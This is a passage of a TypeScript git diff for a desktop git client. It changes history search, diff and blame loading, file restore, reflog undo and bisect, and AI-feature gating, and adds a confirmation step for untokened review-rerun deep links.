+export function selectCommitFile(path: string): void { + patchHistory({ selectedFile: path }); + void loadDiff(); +} + +export async function loadCommitDetails(sha: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + patchHistory({ detailsLoading: true, detailsError: null }); + try { + const details = await invoke('repo.commit.details', repo.path, sha); + const h = store.get().history; + if (h.selectedShas[0] !== sha || h.selectedShas.length !== 1) { + patchHistory({ detailsLoading: false }); + return; + } + // A content/regex search narrows the file list to files whose diff actually matched. + let matchingFiles: string[] | null = null; + if (h.query.content || h.query.diffRegex) { + try { + matchingFiles = await invoke('repo.history.matchingFiles', repo.path, sha, h.query); + } catch { + matchingFiles = null; + } + if (store.get().history.selectedShas[0] !== sha || store.get().history.selectedShas.length !== 1) { + patchHistory({ detailsLoading: false }); + return; + } + } + const visibleFiles = matchingFiles ? details.files.filter((f) => matchingFiles!.includes(f.path)) : details.files; + // In file-history mode, prefer the tracked file's name *at this commit* (it may differ across renames). + const pathAtCommit = h.path ? h.pathHistory?.find((e) => e.sha === sha)?.path ?? h.path : null; + const preferred = pathAtCommit && visibleFiles.some((f) => f.path === pathAtCommit) ? pathAtCommit : null; + const selectedFile = preferred ?? (h.selectedFile && visibleFiles.some((f) => f.path === h.selectedFile) ? h.selectedFile : visibleFiles[0]?.path ?? null); + patchHistory({ details, detailsLoading: false, selectedFile, matchingFiles, detailsError: null }); + void loadDiff(); + } catch (err) { + patchHistory({ detailsLoading: false, detailsError: errorMessage(err) }); + showToast({ kind: 'error', title: 'Could not load commit', message: errorMessage(err) }); + } +} + +/** True while any text/structured filter is active (drag-to-reorder and the legacy "search" positional args are disabled while this is true). */ +export function historyFilterActive(h = store.get().history): boolean { + return !!h.search.trim(); +} + +/** + * True while the history list is showing a subset of the branch, so + * drag-to-reorder must be off: adjacent rows are not adjacent commits, and + * dropping one onto the next would reorder across everything in between. + * Broader than `historyFilterActive`, which only covers the text filter — + * file-history mode sets `path` with an empty `search`. + */ +export function historyReorderDisabled(h = store.get().history): boolean { + return historyFilterActive(h) || !!h.path; +} + +let slowSearchTimer: ReturnType | null = null; + +export async function loadHistory(reset: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const h = store.get().history; + if (h.loading && !reset) return; + if (slowSearchTimer) clearTimeout(slowSearchTimer); + patchHistory({ loading: true, slowSearch: false, ...(reset ? { error: null } : {}) }); + slowSearchTimer = setTimeout(() => patchHistory({ slowSearch: true }), 5000); + try { + const skip = reset ? 0 : h.commits.length; + // Later pages keep the order the list was started with; only a reset re-reads the setting and the filter state. + const graph = reset ? (store.get().settings?.historyGraph ?? false) && !historyFilterActive(h) && !h.path : h.graph; + const page = await invoke('repo.history', repo.path, { ref: null, skip, limit: HISTORY_PAGE, path: h.path, search: h.freeText.trim() || null, follow: !!h.path, query: isEmptyHistoryQuery(h.query) ? null : h.query, verifySignatures: store.get().settings?.historyVerifySignatures ?? false, graph }); + if (store.get().currentRepo?.path !== repo.path) return; + const commits = reset ? page.commits : [...h.commits, ...page.commits]; + const stillSelected = store.get().history.selectedShas.filter((sha) => commits.some((c) => c.sha === sha)); + patchHistory({ commits, graph, hasMore: page.hasMore, loading: false, slowSearch: false, error: null, selectedShas: stillSelected, details: stillSelected.length === 1 ? store.get().history.details : null, stale: store.get().history.stale && !(reset && h.stale) }); + if (store.get().view === 'history' && stillSelected.length === 0 && commits.length) selectCommit(commits[0].sha); + else if (stillSelected.length === 1 && reset) void loadCommitDetails(stillSelected[0]); + } catch (err) { + // A newer history request superseded this one (the main process aborts the older git run); the newer call owns the loading state. + if (err instanceof ApiError && err.code === 'cancelled') return; + patchHistory({ loading: false, slowSearch: false, error: errorMessage(err) }); + showToast({ kind: 'error', title: 'Could not load history', message: errorMessage(err) }); + } finally { + if (slowSearchTimer) { + clearTimeout(slowSearchTimer); + slowSearchTimer = null; + } + } +} + +/** Validates a `regex:` filter client-side (balanced brackets/parens only; git reports anything subtler once it runs). */ +function validateHistoryQuery(query: HistoryQuery): string | null { + return query.diffRegex ? checkRegexBrackets(query.diffRegex) : null; +} + +/** Parses the search box text, updates the popover-synced query state, and (debounced) reloads history. Cancels the previous in-flight search (the main process aborts it once a new `repo.history` call arrives). */ +export function setHistorySearch(search: string): void { + const { query, freeText } = parseHistoryQuery(search); + const queryError = validateHistoryQuery(query); + patchHistory({ search, query, freeText, queryError }); + if (searchTimer) clearTimeout(searchTimer); + if (queryError) return; // inline error only; never runs git or shows a loading state + searchTimer = setTimeout(() => void loadHistory(true), 400); +} +let searchTimer: ReturnType | null = null; + +/** Applies the filter popover's structured query, keeping the text box in sync (round-trips through formatHistoryQuery). */ +export function setHistoryQuery(query: HistoryQuery): void { + setHistorySearch(formatHistoryQuery(query, store.get().history.freeText)); +} + +export function clearHistoryFilter(): void { + setHistorySearch(''); +} + +/** "Search history for selection": prefills a `content:` filter from selected diff text and switches to the History tab. */ +export function searchHistoryForSelection(text: string): void { + const trimmed = text.trim(); + if (!trimmed) return; + setView('history'); + setHistoryQuery({ ...EMPTY_HISTORY_QUERY, content: trimmed }); + document.getElementById('history-search')?.focus(); +} + +// --------------------------------------------------------------------------- +// File history (History tab scoped to one file, following renames) +// --------------------------------------------------------------------------- + +export function openFileHistory(path: string): void { + patchHistory({ path, pathHistory: null, commits: [], hasMore: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null }); + setView('history'); + void loadHistory(true); + void loadPathHistory(path); +} + +export function clearFileHistory(): void { + const h = store.get().history; + if (!h.path) return; + patchHistory({ path: null, pathHistory: null, commits: [], hasMore: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null }); + void loadHistory(true); +} + +async function loadPathHistory(path: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + const entries = await invoke('repo.pathHistory', repo.path, path); + if (store.get().history.path !== path) return; + patchHistory({ pathHistory: entries }); + const h = store.get().history; + if (h.selectedShas.length === 1) void loadCommitDetails(h.selectedShas[0]); + } catch { + // Best-effort: without a rename map, file-history selection falls back to the current path. + } +} + +// --------------------------------------------------------------------------- +// Diff +// --------------------------------------------------------------------------- + +/** path|rev of the file the blame gutter was last computed for; used to auto-turn it off when the user switches files/commits. */ +let lastBlameTarget: string | null = null; +const blameCache = new Map(); + +export function clearBlameCache(): void { + blameCache.clear(); +} + +export async function loadDiff(force = false): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo) { + patchDiff({ key: null, diff: null, loading: false, error: null, selectedLines: null, blame: null, blameOn: false, highlightTerm: null, revealLine: null }); + return; + } + const opts = { hideWhitespace: s.settings?.diffHideWhitespace ?? false }; + let key: string | null = null; + let fetcher: (() => Promise) | null = null; + let selectedLines: string[] | null = null; + /** First-matching-line highlight for an active content/regex history search. */ + let highlightTerm: { text: string; regex: boolean } | null = null; + /** Set only for views where blame is a supported entry point (Changes and History). */ + let blameTarget: { path: string; rev: string | null } | null = null; + /** The Changes tab's selected working-tree path, if any; used to capture a conflicted file's pre-resolution content the first time it loads (see captureConflictOriginal). */ + let workingPath: string | null = null; + if (s.review.open && s.review.run) { + const run = s.review.run; + const f = s.review.selectedPath; + if (f) { + key = `review:${run.id}:${f}`; + const target = run.target; + fetcher = target.kind === 'pr' ? () => invoke('gh.pr.fileDiff', repo.path, target.number, f, opts) : () => invoke('repo.diff.range', repo.path, target.baseSha, target.headSha, f, opts); + } + } else if (s.view === 'changes') { + if (s.changes.selectedPaths.length === 1) { + const path = s.changes.selectedPaths[0]; + key = `working:${path}`; + fetcher = () => invoke('repo.diff.working', repo.path, path, opts); + selectedLines = s.changes.excluded.includes(path) ? [] : s.changes.partial[path] ?? null; + blameTarget = { path, rev: null }; + workingPath = path; + } + } else if (s.view === 'stashes') { + const stash = s.stashes.find((st) => st.sha === s.stashesView.selectedSha); + const f = s.stashesView.selectedFile; + if (stash && f) { + key = `stash:${stash.sha}:${f}`; + // Pass the SHA (not the positional stash@{N} ref): it stays valid even if another + // stash is pushed or dropped between selecting this row and fetching its diff. + fetcher = () => invoke('repo.diff.stash', repo.path, stash.sha, f, opts); + } + } else if (s.history.selectedShas.length === 1 && s.history.selectedFile) { + const sha = s.history.selectedShas[0]; + const f = s.history.selectedFile; + key = `commit:${sha}:${f}`; + fetcher = () => invoke('repo.commit.diff', repo.path, sha, f, opts); + blameTarget = { path: f, rev: sha }; + if (s.history.query.content) highlightTerm = { text: s.history.query.content, regex: !!s.history.query.contentRegex }; + else if (s.history.query.diffRegex) highlightTerm = { text: s.history.query.diffRegex, regex: true }; + } + + const blameTargetKey = blameTarget ? `${blameTarget.path}|${blameTarget.rev ?? ''}` : null; + if (blameTargetKey !== lastBlameTarget) { + lastBlameTarget = blameTargetKey; + if (store.get().diff.blameOn) patchDiff({ blameOn: false, blame: null, blameLoading: false }); + } + + if (store.get().diff.blameOn && blameTarget) { + const { path, rev } = blameTarget; + const ignoreWhitespace = s.settings?.blameIgnoreWhitespace ?? true; + key = `blame:${path}:${rev ?? 'wt'}:${ignoreWhitespace}`; + fetcher = async () => { + const cacheKey = `${repo.path}|${key}`; + let result = blameCache.get(cacheKey) ?? null; + if (!result) { + patchDiff({ blameLoading: true }); + try { + result = await invoke('repo.blame', repo.path, path, rev, ignoreWhitespace); + blameCache.set(cacheKey, result); + } finally { + patchDiff({ blameLoading: false }); + } + } + if (store.get().diff.key === key) patchDiff({ blame: result }); + if (result.tooLarge) return { kind: 'too-large', lineCount: result.lineCount, bytes: 0 }; + if (result.binary) return { kind: 'binary', oldBytes: null, newBytes: null }; + if (result.content === null) return { kind: 'empty', reason: 'Could not load file content for blame.' }; + return buildFileViewDiff(path, result.content); + }; + } else if (store.get().diff.blame) { + patchDiff({ blame: null }); + } + + if (!key || !fetcher) { + patchDiff({ key: null, diff: null, loading: false, error: null, selectedLines: null, blame: null, highlightTerm: null, revealLine: null }); + return; + } + key += `|ws=${opts.hideWhitespace}`; + if (!force && s.diff.key === key && (s.diff.diff || s.diff.loading) && s.diff.highlightTerm?.text === highlightTerm?.text) return; + const samePath = s.diff.key !== null && s.diff.key.split('|')[0] === key.split('|')[0]; + patchDiff({ key, loading: !samePath || !s.diff.diff, error: null, selectedLines, diff: samePath ? s.diff.diff : null, highlightTerm, ...(samePath ? {} : { revealLine: null }) }); + try { + const diff = await fetcher(); + if (store.get().diff.key !== key) return; + patchDiff({ diff, loading: false, error: null }); + if (workingPath && diff.kind === 'conflict') captureConflictOriginal(workingPath, diff.content); + } catch (err) { + if (store.get().diff.key !== key) return; + patchDiff({ diff: null, loading: false, error: errorMessage(err) }); + } +} + +export function toggleBlame(): void { + patchDiff({ blameOn: !store.get().diff.blameOn, activeBlameId: null }); + void loadDiff(true); +} + +export function setActiveBlame(id: string | null): void { + const current = store.get().diff.activeBlameId; + patchDiff({ activeBlameId: current === id ? null : id }); +} + +/** Re-blames the file as of the commit before `hunk`'s commit, using the path it had back then. */ +export function blameAtParent(hunk: BlameHunk): void { + const s = store.get(); + if (!hunk.previousSha) return; + // Pre-sync the "last blamed target" so the loadDiff() triggered by the navigation below doesn't + // treat this as a plain file/commit switch and turn blame back off. + lastBlameTarget = `${hunk.originalPath}|${hunk.previousSha}`; + patchDiff({ activeBlameId: null, blameOn: true }); + if (s.view === 'history') { + patchHistory({ selectedShas: [hunk.previousSha], selectedFile: hunk.originalPath, details: null }); + void loadCommitDetails(hunk.previousSha); + } else { + // Changes tab: blame stays on the working tree; there is no "commit" to move the whole view to, + // so jump to History at the parent commit instead, which is where "blame at a commit" belongs. + setView('history'); + selectCommit(hunk.previousSha); + patchHistory({ selectedFile: hunk.originalPath }); + } +} + +export function openCommitFromBlame(hunk: BlameHunk): void { + if (hunk.sha === ZERO_SHA) return; + setView('history'); + selectCommit(hunk.sha); +} + +// --------------------------------------------------------------------------- +// File history actions: view a past version, restore it to the working tree. +// --------------------------------------------------------------------------- + +export function openFileAtCommit(path: string, sha: string): void { + openDialog({ kind: 'file-at-commit', path, sha }); +} + +export function requestRestoreFile(path: string, sha: string): void { + const repo = store.get().currentRepo; + if (!repo) return; + const dirty = !!store.get().status?.files.some((f) => f.path === path); + let stashFirst = false; + openDialog({ + kind: 'confirm', + title: 'Restore this version?', + message: `The working copy of "${path}" will be overwritten with its content from ${sha.slice(0, 7)}.${dirty ? ' You have uncommitted changes to this file.' : ''}`, + confirmLabel: 'Restore', + checkbox: dirty ? { label: 'Stash my current changes to this file first', onChange: (v) => { stashFirst = v; } } : undefined, + onConfirm: () => restoreFileVersion(path, sha, dirty && stashFirst), + }); +} + +export async function restoreFileVersion(path: string, sha: string, stashFirst: boolean): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + if (stashFirst) await invoke('git.stash.push', repo.path, `Stashed before restoring ${path}`, true, [path]); + const result = await invoke('repo.fileAtCommit', repo.path, sha, path); + if (result.content === null) { + showToast({ kind: 'error', title: 'Could not restore file', message: result.binary ? 'The file is binary.' : 'The file is too large to restore this way.' }); + return; + } + await invoke('repo.writeFile', repo.path, path, result.content); + showToast({ kind: 'success', title: `Restored ${path.split('/').pop()}`, message: `Reverted to its content at ${sha.slice(0, 7)}.` }); + await refreshStatus(); + if (stashFirst) await refreshStashes(); + if (store.get().view === 'changes') void loadDiff(true); + } catch (err) { + showError('Could not restore file', err); + } +} diff --git a/src/renderer/src/state/agentHandoff.ts b/src/renderer/src/state/agentHandoff.ts index 426ed75..fa7c283 100644 --- a/src/renderer/src/state/agentHandoff.ts +++ b/src/renderer/src/state/agentHandoff.ts @@ -1,8 +1,9 @@ +import { aiEnabled } from '@shared/ai-model'; import type { ReviewRun } from '@shared/types'; import { AGENT_PRESETS } from '@shared/agent-presets'; import { pathsEqual } from '@shared/util'; import { invoke, isMac } from '../api'; -import { openRepository, showError, updateSettings } from './actions'; +import { includedFiles, openRepository, showError, updateSettings } from './actions'; import { reviewChangesBeforeCommit } from './precommitReview'; import { openDialog, showToast, store } from './store'; @@ -15,7 +16,7 @@ import { openDialog, showToast, store } from './store'; /** Whether the Fix with agent action should be shown for this run: provider on and at least one live finding. */ export function agentHandoffAvailable(run: ReviewRun | null): boolean { const s = store.get(); - return !!run && !!s.currentRepo && s.settings?.ai.provider !== 'disabled' && run.findings.some((f) => !f.dismissed); + return !!run && !!s.currentRepo && aiEnabled(s.settings, s.currentRepo) && run.findings.some((f) => !f.dismissed); } function agentLabel(): string { @@ -82,18 +83,20 @@ async function waitForStatus(repoPath: string): Promise { } /** - * The `gitgood://review/rerun?repo=…` deep link: re-runs the most recent + * The `gitgood://review/rerun?repo=…&token=…` deep link: re-runs the most recent * review for that repository. Every refusal is explained in a toast and - * starts nothing. Exposed on window.__gitgood.actions for smoke tests. + * starts nothing. A link without a valid, unspent token (anything not written + * by GitGood's own export) asks the user to confirm before any upload. + * Exposed on window.__gitgood.actions for smoke tests. */ -export async function handleProtocolReviewRerun(args: { repoPath: string }): Promise { +export async function handleProtocolReviewRerun(args: { repoPath: string; token?: string | null }): Promise { const s = store.get(); const match = s.repos.find((r) => !r.missing && samePathHere(r.path, args.repoPath)); if (!match) { showToast({ kind: 'info', title: 'Re-review requested for a repository that is not open in GitGood', message: args.repoPath }); return; } - if (!s.settings || s.settings.ai.provider === 'disabled') { + if (!aiEnabled(s.settings, s.currentRepo)) { showToast({ kind: 'info', title: 'AI features are turned off', message: 'Enable a provider under Options → AI to re-review.', action: { label: 'Options', onClick: () => openDialog({ kind: 'settings', tab: 'ai' }) } }); return; } @@ -134,5 +137,21 @@ export async function handleProtocolReviewRerun(args: { repoPath: string }): Pro }, 12000); return; } - await reviewChangesBeforeCommit(); + // Spent only now, once nothing else can refuse the request, so a transient refusal does not burn the agent's link. + if (args.token && (await invoke('ai.review.consumeRerunToken', match.path, args.token))) { + await reviewChangesBeforeCommit(); + return; + } + const files = includedFiles().map((f) => f.path); + openDialog({ + kind: 'confirm', + title: 'Send your pending changes to AI for a re-review?', + message: [ + 'A link from outside GitGood asked for a re-review and did not carry a valid token, so nothing has been sent yet.', + `Repository: ${match.path}`, + `Files that would be sent to ${s.settings?.ai.provider}:\n${files.slice(0, 15).join('\n')}${files.length > 15 ? `\n… and ${files.length - 15} more` : ''}`, + ].join('\n\n'), + confirmLabel: 'Re-review', + onConfirm: () => reviewChangesBeforeCommit(), + }); } diff --git a/src/renderer/src/state/nlPalette.ts b/src/renderer/src/state/nlPalette.ts index 91a1503..f6d649b 100644 --- a/src/renderer/src/state/nlPalette.ts +++ b/src/renderer/src/state/nlPalette.ts @@ -69,7 +69,7 @@ export async function answerPaletteQuestion(): Promise { } export function cancelPaletteRequest(): void { - void invoke('ai.cancel'); + void invoke('ai.cancel', 'nlPalette'); patchNlPalette({ loading: false }); } diff --git a/src/renderer/src/state/precommitReview.ts b/src/renderer/src/state/precommitReview.ts index 1488cc2..d71a09d 100644 --- a/src/renderer/src/state/precommitReview.ts +++ b/src/renderer/src/state/precommitReview.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { ReviewFinding, WorktreeReviewOptions } from '@shared/types'; import { buildStagePatch } from '@shared/diff/patch'; import { isImagePath } from '@shared/util'; @@ -13,7 +14,7 @@ import { initialPrecommitReview, openDialog, patchPrecommitReview, showToast, st export function precommitReviewAvailable(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled'; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo); } const LOCKFILE_NAMES = new Set(['package-lock.json', 'yarn.lock', 'pnpm-lock.yaml', 'cargo.lock', 'go.sum', 'composer.lock']); @@ -113,7 +114,7 @@ export async function rereviewStalePrecommitFindings(): Promise { } export function cancelPrecommitReview(): void { - void invoke('ai.cancel').catch(() => undefined); + void invoke('ai.cancel', 'review').catch(() => undefined); } export function togglePrecommitReviewStrip(): void { diff --git a/src/renderer/src/state/rebase.ts b/src/renderer/src/state/rebase.ts index 9b88ae7..a36f6e4 100644 --- a/src/renderer/src/state/rebase.ts +++ b/src/renderer/src/state/rebase.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { RebaseApplyProgress, RebasePlan, RebasePlanAction, RebasePlanRow } from '@shared/types'; import { errorMessage, invoke } from '../api'; import { hasUncommittedChanges, refreshAll, refreshStatus, showError } from './actions'; @@ -12,7 +13,7 @@ const UNDO_WINDOW_MS = 10 * 60 * 1000; /** Hidden (not just disabled) when the AI provider is disabled, per spec. */ export function tidyBranchVisible(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled'; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo); } /** Reason the action is not actionable right now (default branch, or a merge commit in a History multi-selection), or null when it can proceed. Full-range merge-commit detection is deferred to the pre-flight, since the whole "ahead of base" range is not necessarily loaded client-side. */ @@ -143,7 +144,7 @@ export function reproposeRebasePlan(): void { } export function cancelRebasePropose(): void { - void invoke('ai.cancel').catch(() => undefined); + void invoke('ai.cancel', 'rebase').catch(() => undefined); } export function closeRebaseDialog(): void { diff --git a/src/renderer/src/state/reflog.ts b/src/renderer/src/state/reflog.ts new file mode 100644 index 0000000..d366344 --- /dev/null +++ b/src/renderer/src/state/reflog.ts @@ -0,0 +1,122 @@ +import type { Branch } from '@shared/types'; +import { shortSha } from '@shared/util'; +import { errorInfo, invoke } from '../api'; +import { checkoutBranch, checkoutCommit, loadHistory, refreshAll, runOperation, selectCommit, setView, showError } from './actions'; +import { closeAllDialogs, openDialog, showToast, store } from './store'; + +// --------------------------------------------------------------------------- +// Undo history (reflog) +// --------------------------------------------------------------------------- + +/** + * Confirms, then moves the current branch (or detached HEAD) to `sha` with `reset --keep`. When git refuses because + * uncommitted changes overlap files that differ, offers to stash them and retry. + */ +export function restoreBranchTo(sha: string, what: string, opts: { title?: string; intro?: string } = {}): void { + const { currentRepo: repo, status } = store.get(); + if (!repo || !status) return; + const head = status.branch; + const subject = head.detached || !head.name ? 'The detached HEAD' : `Branch ${head.name}`; + const run = async (stashFirst: boolean): Promise => { + try { + await invoke('git.resetKeep', repo.path, sha, stashFirst); + closeAllDialogs(); + await refreshAll(); + await loadHistory(true); + showToast({ kind: 'success', title: `Restored to ${shortSha(sha)}`, message: what, action: { label: 'Undo history', onClick: () => openDialog({ kind: 'reflog' }) } }, 10000); + } catch (err) { + if (!stashFirst && errorInfo(err).code === 'local-changes-overwritten') { + openDialog({ + kind: 'confirm', + title: 'Stash your changes first?', + message: 'Some uncommitted changes touch files that differ at that point, so they cannot be kept in place. Stash them (untracked files included) and restore? Pop the stash afterwards to get them back.', + confirmLabel: 'Stash and restore', + onConfirm: () => run(true), + }); + } else { + showError('Could not restore', err); + } + } + }; + openDialog({ + kind: 'confirm', + title: opts.title ?? 'Restore to this point?', + message: `${opts.intro ? `${opts.intro}\n\n` : ''}${subject} will move from ${shortSha(head.sha ?? '')} back to ${shortSha(sha)} (${what}).\n\nCommits made after that point leave it and the files return to how they were then; they stay recoverable from Undo history for a while. Uncommitted changes are kept.`, + confirmLabel: 'Restore', + danger: true, + onConfirm: () => run(false), + }); +} + +/** "Undo last Git operation": resets to the state before the newest HEAD-moving reflog entry, or offers to switch back after a checkout. */ +export async function undoLastOperation(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + let plan; + try { + plan = await invoke('repo.undoPlan', repo.path); + } catch (err) { + showError('Could not read the reflog', err); + return; + } + if (!plan) { + showToast({ kind: 'info', title: 'Nothing to undo' }); + } else if (plan.kind === 'reset') { + restoreBranchTo(plan.target.sha, `${plan.target.action}${plan.target.message ? `: ${plan.target.message}` : ''}`, { title: 'Undo last Git operation?', intro: `Last operation: ${plan.description}.` }); + } else if (!plan.isBranch) { + await checkoutCommit(plan.ref); + } else { + const ref = plan.ref; + const branch: Branch | undefined = store.get().branches.find((b) => b.kind === 'local' && b.name === ref); + if (!branch) { + showToast({ kind: 'warning', title: 'Cannot switch back', message: `Branch ${ref} no longer exists.` }); + return; + } + openDialog({ + kind: 'confirm', + title: 'Undo last Git operation?', + message: `Last operation: ${plan.description}.\n\nSwitch back to branch ${ref}?`, + confirmLabel: 'Switch back', + onConfirm: () => checkoutBranch(branch), + }); + } +} + +// --------------------------------------------------------------------------- +// Bisect +// --------------------------------------------------------------------------- + +export async function startBisect(bad: string, good: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const started = await runOperation('Starting bisect', async () => { + await invoke('git.bisect.start', repo.path, bad, good); + return true; + }); + if (started) closeAllDialogs(); +} + +/** Marks `sha` (null: the commit currently checked out) as good, bad or skipped. */ +export async function markBisect(verb: 'good' | 'bad' | 'skip', sha: string | null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await runOperation(`Bisect: ${verb}`, () => invoke('git.bisect.mark', repo.path, verb, sha)); +} + +export async function resetBisect(): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await runOperation('Ending bisect', () => invoke('git.bisect.reset', repo.path)); + await loadHistory(true); +} + +/** History context menu "mark good": the bad end defaults to HEAD. "Mark bad" has no sensible default, so it asks for the good end. */ +export function startBisectFrom(sha: string, label: string, as: 'good' | 'bad'): void { + if (as === 'good') void startBisect('HEAD', sha); + else openDialog({ kind: 'bisect-start', bad: sha, badLabel: label }); +} + +export function openBisectResult(sha: string): void { + setView('history'); + selectCommit(sha); +} diff --git a/src/renderer/src/state/review.ts b/src/renderer/src/state/review.ts index f37e89b..c9b799f 100644 --- a/src/renderer/src/state/review.ts +++ b/src/renderer/src/state/review.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { PostReviewOptions, PullRequest, ReviewFinding, ReviewStartOptions, ReviewTarget } from '@shared/types'; import { errorMessage, invoke } from '../api'; import { loadDiff, showError } from './actions'; @@ -9,7 +10,7 @@ import { closeDialog, initialReview, openDialog, patchReview, showToast, store, export function aiReviewAvailable(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled'; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo); } /** True when the repository has a GitHub remote and gh is signed in, so pull request mode is possible. */ @@ -103,7 +104,7 @@ export async function startReview(target: ReviewTarget, opts: ReviewStartOptions export async function cancelReview(): Promise { try { - await invoke('ai.cancel'); + await invoke('ai.cancel', 'review'); } catch { /* nothing running */ } diff --git a/src/renderer/src/state/split.ts b/src/renderer/src/state/split.ts index 9d8a0fa..d2ba2a9 100644 --- a/src/renderer/src/state/split.ts +++ b/src/renderer/src/state/split.ts @@ -1,3 +1,4 @@ +import { aiEnabled } from '@shared/ai-model'; import type { SplitApplyProgress, SplitPlan, SplitPlanCommit } from '@shared/types'; import { SPLIT_SUMMARY_PLACEHOLDER } from '@shared/util'; import { errorInfo, errorMessage, invoke } from '../api'; @@ -15,7 +16,7 @@ type SplitTarget = string | typeof UNASSIGNED; /** Hidden unless the provider is enabled, a repository is open, no merge/cherry-pick/revert is in progress, and Amend is not checked (per spec: these three conditions hide the entry point entirely rather than merely disabling it). */ export function splitEntryVisible(): boolean { const s = store.get(); - return !!s.currentRepo && s.settings?.ai.provider !== 'disabled' && s.status?.operation.kind !== 'merge' && s.status?.operation.kind !== 'cherry-pick' && s.status?.operation.kind !== 'revert' && !s.changes.amend; + return !!s.currentRepo && aiEnabled(s.settings, s.currentRepo) && s.status?.operation.kind !== 'merge' && s.status?.operation.kind !== 'cherry-pick' && s.status?.operation.kind !== 'revert' && !s.changes.amend; } /** @@ -75,7 +76,7 @@ export function reproposeSplit(): void { } export function cancelSplitPropose(): void { - void invoke('ai.cancel').catch(() => undefined); + void invoke('ai.cancel', 'split').catch(() => undefined); } export function closeSplitDialog(): void { diff --git a/src/renderer/src/state/store.ts b/src/renderer/src/state/store.ts index 8a67256..f027e3e 100644 --- a/src/renderer/src/state/store.ts +++ b/src/renderer/src/state/store.ts @@ -1,6 +1,8 @@ import { useSyncExternalStore } from 'react'; import type { AiResolveProgressEvent, AiReviewProgressEvent, AppSettings, BlameResult, Branch, Commit, CommitDetails, CommitFile, ConflictResolutionResult, ErrorExplanation, ExplainFollowUp, ExplainTarget, Explanation, FileDiff, GitErrorInfo, HistoryQuery, InboxState, LfsStatus, NlPlan, NlStep, PathHistoryEntry, PostResolveCheckResult, PrTriage, ProgressEvent, PullRequest, RebaseApplyProgress, RebasePlan, RebasePreflight, Remote, RepositoryInfo, RepositoryStatus, RepoWork, ReviewPlan, ReviewRun, ReviewRunTarget, ReviewTarget, SplitApplyProgress, SplitPlan, SplitPreflight, Stash, StaleBranch, Submodule, Tag, ToolsState, UpdateState, WorktreeReviewTarget, Worktree } from '@shared/types'; +import { aiEnabled } from '@shared/ai-model'; import { EMPTY_HISTORY_QUERY } from '@shared/types'; +import type { BranchStack } from '@shared/types'; /** A `ReviewRun` known to target a pull request or a branch (never the pre-commit `worktree` target), which is all `ai.review.start`/`ai.review.get` for a `ReviewTarget` ever produce. */ export type PrReviewRun = ReviewRun & { target: Exclude }; @@ -13,7 +15,7 @@ export type View = 'changes' | 'history' | 'stashes' | 'health'; export type PhonePane = 'list' | 'detail' | 'file'; export type Popover = 'repos' | 'branches' | 'history-filter' | null; export type SettingsTab = 'accounts' | 'integrations' | 'git' | 'appearance' | 'prompts' | 'ai' | 'advanced'; -export type RepoSettingsTab = 'remote' | 'ignored' | 'identity' | 'alias'; +export type RepoSettingsTab = 'remote' | 'ignored' | 'identity' | 'account' | 'alias'; export interface Toast { id: number; @@ -27,7 +29,7 @@ export interface Toast { export type DialogState = | { kind: 'clone'; url?: string } | { kind: 'new-repo' } - | { kind: 'add-repo' } + | { kind: 'add-repo'; path?: string } | { kind: 'new-branch'; startPoint?: string | null; startPointLabel?: string; initialName?: string } | { kind: 'rename-branch'; branch: string } | { kind: 'delete-branch'; branch: Branch } @@ -79,6 +81,8 @@ export type DialogState = | { kind: 'release-notes'; fromTag: string | null } | { kind: 'split-plan' } | { kind: 'tidy-branch' } + | { kind: 'reflog' } + | { kind: 'bisect-start'; bad: string; badLabel: string } | { kind: 'trust-repo-check'; repoPath: string; command: string; onDecision: (trusted: boolean) => void } | { kind: 'resolution-popover'; path: string; blockId: number } | { kind: 'command-palette' }; @@ -93,6 +97,8 @@ export interface ChangesState { showCoAuthors: boolean; amend: boolean; committing: boolean; + /** One-shot `--no-verify` for the next commit; reset after every commit. */ + noVerify: boolean; } export interface StashesViewState { @@ -118,6 +124,8 @@ export interface HistoryState { queryError: string | null; /** True once the current search has been loading for more than 5s (suggests narrowing with `path:`). */ slowSearch: boolean; + /** The loaded commits were listed in graph (`--date-order`) order, so the lane graph can be drawn: set from the `historyGraph` setting when the list was last (re)loaded, and only while no filter/path narrows it. */ + graph: boolean; selectedShas: string[]; details: CommitDetails | null; detailsLoading: boolean; @@ -412,6 +420,8 @@ export interface AppState { statusLoading: boolean; branches: Branch[]; defaultBranch: string | null; + /** The current branch's stack of branches below it (see getStackParents). */ + stack: BranchStack; stashes: Stash[]; tags: Tag[]; remotes: Remote[]; @@ -488,11 +498,12 @@ export const initialChanges: ChangesState = { showCoAuthors: false, amend: false, committing: false, + noVerify: false, }; export const initialStashesView: StashesViewState = { loading: false, selectedSha: null, files: [], filesLoading: false, selectedFile: null }; -export const initialHistory: HistoryState = { commits: [], hasMore: false, loading: false, search: '', query: EMPTY_HISTORY_QUERY, freeText: '', queryError: null, slowSearch: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null, matchingFiles: null, dragging: null, path: null, pathHistory: null, error: null, detailsError: null, stale: false }; +export const initialHistory: HistoryState = { commits: [], hasMore: false, loading: false, search: '', query: EMPTY_HISTORY_QUERY, freeText: '', queryError: null, slowSearch: false, graph: false, selectedShas: [], details: null, detailsLoading: false, selectedFile: null, matchingFiles: null, dragging: null, path: null, pathHistory: null, error: null, detailsError: null, stale: false }; export const initialDiff: DiffState = { key: null, diff: null, loading: false, error: null, 